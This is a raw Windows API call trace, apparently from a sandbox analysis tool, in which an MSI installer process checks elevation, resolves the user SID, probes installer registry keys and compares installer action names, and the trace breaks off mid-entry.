1 [0123.706] FindResourceExW (hModule=0x7fefcb70000, lpType=0x10, lpName=0x1, wLanguage=0x409) returned 0xbe02d8 [0123.706] LoadResource (hModule=0x7fefcb70000, hResInfo=0xbe02d8) returned 0xbe53a8 [0123.706] LockResource (hResData=0xbe53a8) returned 0xbe53a8 [0123.706] SizeofResource (hModule=0x7fefcb70000, hResInfo=0xbe02d8) returned 0x374 [0123.706] VerQueryValueW (in: pBlock=0x36f220, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x10cd408, puLen=0x10cd400 | out: lplpBuffer=0x10cd408*=0x36f590, puLen=0x10cd400) returned 1 [0123.712] FreeLibrary (hLibModule=0x7fefcb70000) returned 1 [0123.712] SetErrorMode (uMode=0x1) returned 0x1 [0123.712] _vsnwprintf (in: _Buffer=0x10ce560, _BufferCount=0x19, _Format="%d.%d.%d.%d", _ArgList=0x10ce508 | out: _Buffer="6.1.7601.17514") returned 14 [0123.712] lstrlenW (lpString="6.1.7601.17514") returned 14 [0123.712] memcpy (in: _Dst=0x3c9da0, _Src=0x10ce560, _Size=0x1c | out: _Dst=0x3c9da0) returned 0x3c9da0 [0123.712] lstrlenW (lpString="6.1.7601.17514") returned 14 [0123.712] lstrlenW (lpString="MsiWin32AssemblySupport") returned 23 [0123.712] lstrlenW (lpString="RedirectedDllSupport") returned 20 [0123.712] _vsnwprintf (in: _Buffer=0x10ce988, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce978 | out: _Buffer="2") returned 1 [0123.712] lstrlenW (lpString="2") returned 1 [0123.713] lstrlenW (lpString="System64Folder") returned 14 [0123.713] lstrlenW (lpString="SystemFolder") returned 12 [0123.713] lstrlenW (lpString="ProgramFiles64Folder") returned 20 [0123.713] lstrlenW (lpString="ProgramFilesFolder") returned 18 [0123.713] lstrlenW (lpString="CommonFiles64Folder") returned 19 [0123.713] lstrlenW (lpString="CommonFilesFolder") returned 17 [0123.713] GetProcAddress (hModule=0x76b00000, lpProcName="CheckElevationEnabled") returned 0x76b2f700 [0123.713] CheckElevationEnabled () returned 0x0 [0123.713] lstrlenW (lpString="MSIUSEREALADMINDETECTION") returned 24 [0123.714] SetLastError (dwErrCode=0xd) [0123.714] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.714] AllocateAndInitializeSid (in: pIdentifierAuthority=0x10ce9f8, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x10ce9e8 | out: pSid=0x10ce9e8*=0x3bbb30*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0123.714] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x3bbb30*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x10ce9e0 | out: IsMember=0x10ce9e0) returned 1 [0123.714] lstrlenW (lpString="MsiRunningElevated") returned 18 [0123.714] _vsnwprintf (in: _Buffer=0x10ce9d8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce9c8 | out: _Buffer="1") returned 1 [0123.714] lstrlenW (lpString="1") returned 1 [0123.714] lstrlenW (lpString="Privileged") returned 10 [0123.714] _vsnwprintf (in: _Buffer=0x10ce9d8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce9c8 | out: _Buffer="1") returned 1 [0123.714] lstrlenW (lpString="1") returned 1 [0123.714] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0123.714] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0123.714] _vsnwprintf (in: _Buffer=0x10ce3f0, _BufferCount=0x103, _Format="%s\\%s\\%s", _ArgList=0x10ce3b8 | out: _Buffer="Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 59 [0123.714] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0123.714] GetCurrentThreadId () returned 0xf50 [0123.714] GetCurrentThreadId () returned 0xf50 [0123.715] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.715] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd2a0, TokenInformationLength=0x58, ReturnLength=0x10cd290 | out: TokenInformation=0x10cd2a0, ReturnLength=0x10cd290) returned 1 [0123.715] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cd380, pSourceSid=0x10cd2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cd380*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0123.715] ConvertSidToStringSidW (in: Sid=0x10cd380*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd360 | out: StringSid=0x10cd360*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0123.715] LocalFree (hMem=0x3d6a30) returned 0x0 [0123.715] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0123.715] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0123.715] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd7a0 | out: phkResult=0x10cd7a0*=0x0) returned 0x2 [0123.715] GetCurrentThreadId () returned 0xf50 [0123.715] GetCurrentThreadId () returned 0xf50 [0123.716] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.716] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd2a0, TokenInformationLength=0x58, ReturnLength=0x10cd290 | out: TokenInformation=0x10cd2a0, ReturnLength=0x10cd290) returned 1 [0123.716] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cd380, pSourceSid=0x10cd2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cd380*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0123.716] ConvertSidToStringSidW (in: Sid=0x10cd380*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd360 | out: StringSid=0x10cd360*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0123.716] LocalFree (hMem=0x3d63a0) returned 0x0 [0123.716] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0123.716] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0123.716] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd7a0 | out: phkResult=0x10cd7a0*=0x0) returned 0x2 [0123.716] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0123.716] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0123.716] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cd7a0 | out: phkResult=0x10cd7a0*=0x0) returned 0x2 [0123.716] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0123.716] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0123.716] GetCurrentThreadId () returned 0xf50 [0123.716] GetCurrentThreadId () returned 0xf50 [0123.716] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.717] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cdfe0, TokenInformationLength=0x58, ReturnLength=0x10cdfd0 | out: TokenInformation=0x10cdfe0, ReturnLength=0x10cdfd0) returned 1 [0123.717] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce0c0, pSourceSid=0x10cdff0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce0c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0123.717] ConvertSidToStringSidW (in: Sid=0x10ce0c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce0a0 | out: StringSid=0x10ce0a0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0123.717] LocalFree (hMem=0x3d6a30) returned 0x0 [0123.717] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0123.717] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0123.717] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce688 | out: phkResult=0x10ce688*=0x0) returned 0x2 [0123.717] GetCurrentThreadId () returned 0xf50 [0123.717] GetCurrentThreadId () returned 0xf50 [0123.717] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.717] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cdfe0, TokenInformationLength=0x58, ReturnLength=0x10cdfd0 | out: TokenInformation=0x10cdfe0, ReturnLength=0x10cdfd0) returned 1 [0123.717] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce0c0, pSourceSid=0x10cdff0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce0c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0123.717] ConvertSidToStringSidW (in: Sid=0x10ce0c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce0a0 | out: StringSid=0x10ce0a0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0123.717] LocalFree (hMem=0x3d63a0) returned 0x0 [0123.717] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0123.717] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0123.717] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce688 | out: phkResult=0x10ce688*=0x0) returned 0x2 [0123.718] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0123.718] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0123.718] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce688 | out: phkResult=0x10ce688*=0x0) returned 0x2 [0123.718] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion") returned 41 [0123.718] lstrlenW (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion") returned 44 [0123.718] lstrlenW (lpString="Software\\Microsoft\\MS Setup (ACME)\\User Info") returned 44 [0123.718] lstrlenW (lpString="USERNAME") returned 8 [0123.719] lstrlenW (lpString="COMPANYNAME") returned 11 [0123.719] lstrlenW (lpString="DATABASE") returned 8 [0123.720] lstrlenW (lpString="OriginalDatabase") returned 16 [0123.720] lstrlenW (lpString="MsiEmbeddedUI") returned 13 [0123.720] GetCurrentThreadId () returned 0xf50 [0123.720] GetCurrentThreadId () returned 0xf50 [0123.720] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce940 | out: phkResult=0x10ce940*=0x0) returned 0x2 [0123.720] lstrlenW (lpString="MSIDISABLEEEUI") returned 14 [0123.721] SetLastError (dwErrCode=0xd) [0123.721] lstrlenW (lpString="MSICLIENTUSESEXTERNALUI") returned 23 [0123.721] SetLastError (dwErrCode=0xd) [0123.721] lstrlenW (lpString="MSICLIENTUSESEMBEDDEDUI") returned 23 [0123.722] SetLastError (dwErrCode=0xd) [0123.722] lstrlenW (lpString="PatchPackage") returned 12 [0123.722] GetCurrentThreadId () returned 0xf50 [0123.722] GetCurrentThreadId () returned 0xf50 [0123.722] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce8f0 | out: phkResult=0x10ce8f0*=0x0) returned 0x2 [0123.723] GetCurrentThreadId () returned 0xf50 [0123.723] GetCurrentThreadId () returned 0xf50 [0123.723] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce660, TokenInformationLength=0x58, ReturnLength=0x10ce650 | out: TokenInformation=0x10ce660, ReturnLength=0x10ce650) returned 1 [0123.723] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce740, pSourceSid=0x10ce670*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce740*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0123.723] ConvertSidToStringSidW (in: Sid=0x10ce740*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce720 | out: StringSid=0x10ce720*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0123.723] LocalFree (hMem=0x3d6a30) returned 0x0 [0123.723] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce8f0 | out: phkResult=0x10ce8f0*=0x0) returned 0x2 [0123.723] lstrlenW (lpString="RollbackDisabled") returned 16 [0123.724] lstrlenW (lpString="MSIFASTINSTALL") returned 14 [0123.724] SetLastError (dwErrCode=0xd) [0123.724] lstrlenW (lpString="CLIENTUILEVEL") returned 13 [0123.724] SetLastError (dwErrCode=0x0) [0123.724] lstrlenW (lpString="UILevel") returned 7 [0123.725] _vsnwprintf (in: _Buffer=0x10ce9d8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce9c8 | out: _Buffer="5") returned 1 [0123.725] lstrlenW (lpString="5") returned 1 [0123.725] lstrlenW (lpString="ProductLanguage") returned 15 [0123.725] SetLastError (dwErrCode=0x0) [0123.725] SetLastError (dwErrCode=0x0) [0123.725] memcpy (in: _Dst=0x10ce532, _Src=0x10ce388, _Size=0x2 | out: _Dst=0x10ce532) returned 0x10ce532 [0123.725] memcpy (in: _Dst=0x36f23c, _Src=0x10ce530, _Size=0x6 | out: _Dst=0x36f23c) returned 0x36f23c [0123.725] memcpy (in: _Dst=0x36f242, _Src=0x3d6bb2, _Size=0x18 | out: _Dst=0x36f242) returned 0x36f242 [0123.725] memcpy (in: _Dst=0x36f25a, _Src=0x3d6bcc, _Size=0x2 | out: _Dst=0x36f25a) returned 0x36f25a [0123.725] SetLastError (dwErrCode=0x0) [0123.725] memcpy (in: _Dst=0x10ce532, _Src=0x10ce388, _Size=0x2 | out: _Dst=0x10ce532) returned 0x10ce532 [0123.725] memcpy (in: _Dst=0x36f25a, _Src=0x10ce530, _Size=0x6 | out: _Dst=0x36f25a) returned 0x36f25a [0123.725] SetLastError (dwErrCode=0x0) [0123.725] memcpy (in: _Dst=0x10ce532, _Src=0x10ce388, _Size=0x2 | out: _Dst=0x10ce532) returned 0x10ce532 [0123.725] memcpy (in: _Dst=0x36d9c4, _Src=0x10ce530, _Size=0x6 | out: _Dst=0x36d9c4) returned 0x36d9c4 [0123.725] memcpy (in: _Dst=0x36f262, _Src=0x36d9c0, _Size=0xa | out: _Dst=0x36f262) returned 0x36f262 [0123.725] GetCurrentThreadId () returned 0xf50 [0123.725] GetCurrentThreadId () returned 0xf50 [0123.725] SetEvent (hEvent=0x170) returned 1 [0123.728] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0123.735] SetLastError (dwErrCode=0xd) [0123.735] lstrlenW (lpString="ProductName") returned 11 [0123.735] SetLastError (dwErrCode=0x0) [0123.736] memcpy (in: _Dst=0x10ce532, _Src=0x10ce388, _Size=0x2 | out: _Dst=0x10ce532) returned 0x10ce532 [0123.736] memcpy (in: _Dst=0x36f23c, _Src=0x10ce530, _Size=0x6 | out: _Dst=0x36f23c) returned 0x36f23c [0123.736] memcpy (in: _Dst=0x36f242, _Src=0x3d6bb2, _Size=0x18 | out: _Dst=0x36f242) returned 0x36f242 [0123.736] memcpy (in: _Dst=0x36f25a, _Src=0x3d6bcc, _Size=0x2 | out: _Dst=0x36f25a) returned 0x36f25a [0123.736] SetLastError (dwErrCode=0x0) [0123.736] memcpy (in: _Dst=0x10ce532, _Src=0x10ce388, _Size=0x2 | out: _Dst=0x10ce532) returned 0x10ce532 [0123.736] memcpy (in: _Dst=0x36f25a, _Src=0x10ce530, _Size=0x6 | out: _Dst=0x36f25a) returned 0x36f25a [0123.736] SetLastError (dwErrCode=0x0) [0123.736] memcpy (in: _Dst=0x10ce532, _Src=0x10ce388, _Size=0x2 | out: _Dst=0x10ce532) returned 0x10ce532 [0123.736] memcpy (in: _Dst=0x36d9c4, _Src=0x10ce530, _Size=0x6 | out: _Dst=0x36d9c4) returned 0x36d9c4 [0123.736] memcpy (in: _Dst=0x36f262, _Src=0x36d9c0, _Size=0xa | out: _Dst=0x36f262) returned 0x36f262 [0123.736] GetCurrentThreadId () returned 0xf50 [0123.736] GetCurrentThreadId () returned 0xf50 [0123.736] SetEvent (hEvent=0x170) returned 1 [0123.736] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0123.754] lstrlenW (lpString="CLIENTUILEVEL") returned 13 [0123.755] SetLastError (dwErrCode=0x0) [0123.755] lstrlenW (lpString="1") returned 1 [0123.755] lstrlenW (lpString="Preselected") returned 11 [0123.756] RegCloseKey (hKey=0x268) returned 0x0 [0123.756] GetTickCount () returned 0x1877a36 [0123.757] lstrlenW (lpString="ActionText") returned 10 [0123.758] lstrcmpW (lpString1="Advertise", lpString2="INSTALL") returned -1 [0123.758] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="INSTALL") returned -1 [0123.758] lstrcmpW (lpString1="AppSearch", lpString2="INSTALL") returned -1 [0123.758] lstrcmpW (lpString1="BindImage", lpString2="INSTALL") returned -1 [0123.758] lstrcmpW (lpString1="CCPSearch", lpString2="INSTALL") returned -1 [0123.758] lstrcmpW (lpString1="CostFinalize", lpString2="INSTALL") returned -1 [0123.758] lstrcmpW (lpString1="CostInitialize", lpString2="INSTALL") returned -1 [0123.758] lstrcmpW (lpString1="CreateFolders", lpString2="INSTALL") returned -1 [0123.759] lstrcmpW (lpString1="CreateShortcuts", lpString2="INSTALL") returned -1 [0123.759] lstrcmpW (lpString1="DeleteServices", lpString2="INSTALL") returned -1 [0123.759] lstrcmpW (lpString1="DuplicateFiles", lpString2="INSTALL") returned -1 [0123.759] lstrcmpW (lpString1="FileCost", lpString2="INSTALL") returned -1 [0123.759] lstrcmpW (lpString1="FindRelatedProducts", lpString2="INSTALL") returned -1 [0123.759] lstrcmpW (lpString1="GenerateScript", lpString2="INSTALL") returned -1 [0123.759] lstrcmpW (lpString1="InstallAdminPackage", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="InstallFiles", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="InstallODBC", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="InstallServices", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="InstallValidate", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="LaunchConditions", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="MigrateFeatureStates", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="MoveFiles", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="MsiPublishAssemblies", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="MsiUnpublishAssemblies", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="PatchFiles", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="ProcessComponents", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="PublishComponents", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="PublishFeatures", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="PublishProduct", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="RegisterClassInfo", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="RegisterComPlus", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="RegisterExtensionInfo", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="RegisterFonts", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="RegisterMIMEInfo", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="RegisterProduct", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="RegisterProgIdInfo", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="RegisterTypeLibraries", lpString2="INSTALL") returned 1 [0123.759] lstrcmpW (lpString1="RegisterUser", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="RemoveDuplicateFiles", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="RemoveEnvironmentStrings", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="RemoveExistingProducts", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="RemoveFiles", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="RemoveFolders", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="RemoveIniValues", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="RemoveODBC", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="RemoveRegistryValues", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="RemoveShortcuts", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="RMCCPSearch", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="Rollback", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="RollbackCleanup", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="SelfRegModules", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="SelfUnregModules", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="SetODBCFolders", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="StartServices", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="StopServices", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="UnmoveFiles", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="UnpublishComponents", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="UnpublishFeatures", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="UnpublishProduct", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="UnregisterClassInfo", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="UnregisterComPlus", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="UnregisterExtensionInfo", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="UnregisterFonts", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="UnregisterMIMEInfo", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="UnregisterProgIdInfo", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="UnregisterTypeLibraries", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="WriteEnvironmentStrings", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="WriteIniValues", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="WriteRegistryValues", lpString2="INSTALL") returned 1 [0123.760] lstrcmpW (lpString1="ShutdownApplications", lpString2="INSTALL") returned 1 [0123.761] lstrcmpW (lpString1="ConfigureServices", lpString2="INSTALL") returned -1 [0123.761] lstrcmpW (lpString1="ConfigureServicesUnsupoortedOS", lpString2="INSTALL") returned -1 [0123.761] lstrlenW (lpString="INSTALL") returned 7 [0123.761] lstrlenW (lpString="{{") returned 2 [0123.761] lstrlenW (lpString=": }}") returned 4 [0123.761] SetLastError (dwErrCode=0xd) [0123.761] lstrlenW (lpString="Time") returned 4 [0123.761] GetLocalTime (in: lpSystemTime=0x10ce900 | out: lpSystemTime=0x10ce900*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x16a)) [0123.761] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce900, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0123.761] GetLocalTime (in: lpSystemTime=0x10ce900 | out: lpSystemTime=0x10ce900*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, 